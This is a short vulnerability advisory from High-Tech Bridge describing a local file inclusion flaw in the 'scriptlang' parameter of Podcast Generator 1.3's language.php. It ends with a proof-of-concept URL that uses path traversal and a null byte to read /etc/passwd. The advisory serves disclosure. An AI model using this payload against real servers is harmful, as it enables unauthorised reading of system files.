HTB22801: Local File Inclusion in Podcast Generator

Vulnerability ID: HTB22801
Reference: http://www.htbridge.ch/advisory/local_file_inclusion_in_podcast_generator.html
Product: Podcast Generator
Vendor: Alberto Betella ( http://podcastgen.sourceforge.net/ )
Vulnerable Version: 1.3
Vendor Notification: 20 January 2011
Vulnerability Type: Local File Inclusion
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/core/language.php" script to properly sanitize user-supplied input in "scriptlang" variable.

http://[home]/core/language.php?scriptlang=…/…/…/…/…/…/…/…/etc/passwd%00